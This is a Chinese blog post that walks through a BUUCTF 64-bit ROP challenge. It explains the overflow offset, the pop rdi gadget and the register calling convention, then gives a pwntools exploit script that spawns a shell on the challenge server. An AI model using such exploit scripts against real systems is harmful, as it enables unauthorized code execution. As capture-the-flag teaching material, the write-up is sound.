文章目录

64 位 ROP

由 雾島风起時 发布

64 位 ROP

话不多说,直接上题(BUUCTF)

扔进 IDA64 中反编译,发现调用了一个函数,进去看看

缓存区 buf 大小居然为 200,肯定存在溢出

双击 buf 可以算出需要 136 个字节垃圾数据

没有给后门函数,但是给了相关字符串,需要构造 ROP

64 位系统还格外需要一个 pop rdi; ret 指令,使用工具 ROPgadget 获取其地址

pop rdi; ret 是一个非常常见的 ROP gadget,它的作用是将栈上的一个值弹出并放入 rdi 寄存器中,然后执行 ret 跳转到下一个指令

构造 payload,pop rdi 在前,参数在函数前面

对于64位的Linux系统,函数的参数是这样传递的:

  • rdi: 第一个参数
  • rsi: 第二个参数
  • rdx: 第三个参数
  • rcx: 第四个参数
  • r8: 第五个参数
  • r9: 第六个参数

如果参数个数超过6个,那么剩余的参数会被推入栈中

from pwn import *

p = remote("node5.buuoj.cn",28172)

binsh = 0x0600A90
sys_addr = 0x0400603
pop_rdi = 0x04006b3

payload = b'a' * 136 + p64(pop_rdi) + p64(binsh) + p64(sys_addr)

p.sendline(payload)
p.interactive()

成功拿到 flag


0条评论

发表评论